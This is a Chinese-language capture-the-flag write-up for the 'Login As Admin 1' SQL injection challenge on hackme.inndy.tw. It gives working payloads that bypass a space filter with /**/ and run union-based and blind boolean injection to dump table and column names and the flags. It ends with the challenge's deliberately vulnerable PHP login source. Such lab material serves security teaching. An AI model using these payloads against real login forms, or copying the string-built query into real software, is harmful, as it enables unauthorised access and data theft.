题目链接:
https://hackme.inndy.tw/login1/
代码分析
1、过滤了空格,但可以用/**/绕过
2、题目不再提供表名。
3、从数据库查询之后,不会回显数据库中的内容(也就是无法用union select回显出来)
但跟上一题一样,构造出SQL查询之后,只要isadmin值为1,认为是admin,即获得flag1值。
解题步骤
1、利用union select构造出isadmin为1,获得flag1的值。
password=\'/**/union/**/select/**/1,2,3,1%23
2、前端不再回显数据库查询出来的用户名,而是原文返回post参数的用户名,也就是说,union select回显查询已经用不了。并且题目提示的是布尔注入,也就是盲注。
3、先从简单的payload开始构造,尝试能不能查出database(),获得数据库名称的长度是15。
password=\'/**/union/**/select/**/1,2,3,(1/(length(database())-15))%23
6、爆出数据库名称。
7、数据库名称为 login_as_admin1,该数据库一共有两个表。
第一个表名长度32,第二个是5。
8、爆所有表名
两张表分别是 0bdb54c98123f5526ccaed982d2006a9,users
9、猜测 flag2 就在0bdb54c98123f5526ccaed982d2006a9表中,重点关注这个表,一共有两个字段。
10、第一个字段名称长度2位,第二个字段名称有32位。。。出题人真是丧心病狂,看来flag2很可能就在第二个字段了。
11、先看看这张表有多少记录,结果只有一条。
12、有了表名还不行,得把列名称给爆出来。。重点爆第二个列名称,也就是limit设置1,1。
13、爆出了列名是4a391a11cfa831ca740cf8d00782f3a6,差点眼瞎,用count()函数验证一下是不是这个列名存在一条记录,如下图,验证成功,列名是正确的。
14、整理一下现在已经得到两个重要信息:
(1) 表名是0bdb54c98123f5526ccaed982d2006a9;
(2) 列名是4a391a11cfa831ca740cf8d00782f3a6。
(3) 只有一条记录,应该就是flag2值。
15、判断flag2的长度。
16、这道题目再一次丧心病狂,flag2居然有66位。。。继续爆
最终 intruder 中的 payload 如下:
name=testtest&password=\'/**/union/**/select/**/1,2,3,(1/(ascii(substr(((select/**/4a391a11cfa831ca740cf8d00782f3a6/**/from/**/0bdb54c98123f5526ccaed982d2006a9/**/limit/**/0,1)),§1§,1))-§32§))%23
FLAG
FLAG{He110, Admin\\' or 1337 < 314159 #}
FLAG{W0W, You found the correct table and the flag, and UserAgent}
附录
<?php
require('config.php');
//require('WAF.php');
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
foreach($bad_ua as $bad) {
if(strstr($ua, $bad)) {
die("I don't like hackers. :(");
}
}
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `%s` WHERE `name` = '%s' AND `password` = '%s'",
USER_TABLE,
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login As Admin 1</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
</head>
<body>
<div class="jumbotron">
<div class="container">
<h1>Login as Admin 1</h1>
</div>
</div>
<div class="container">
<div class="navbar">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="/">Please Hack Me</a>
</div>
<ul class="nav navbar-nav">
<li>
<a href="/scoreboard">Scoreboard</a>
</li>
<li>
<a href="?show_source=1" target="_blank">Source Code</a>
</li>
</ul>
</div>
</div>
</div>
<div class="container">
<div class="col-md-6 col-md-offset-3">
<?php if(!$user): ?>
<?php if($user === false): ?>
<div class="alert alert-danger">Login failed</div>
<?php endif; ?>
<form action="." method="POST">
<div class="form-group">
<label for="name">User:</label>
<input id="name" class="form-control" type="text" name="name" placeholder="User">
</div>
<div class="form-group">
<label for="password">Pass:</label>
<input id="password" class="form-control" type="text" name="password" placeholder="Password">
</div>
<div class="form-group">
<input class="form-control btn btn-primary" type="submit" value="Login">
</div>
</form>
<div>
<p>
You can login with <code>guest</code> / <code>guest</code>.
</p>
</div>
<?php else: ?>
<h3>Hi, <?=htmlentities($_POST['name'])?></h3>
<h4><?=sprintf("You %s admin!", $user->isadmin ? "are" : "are not")?></h4>
<?php if($user->isadmin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2); ?>
<?php endif; ?>
</div>
</div>
</body>
</html>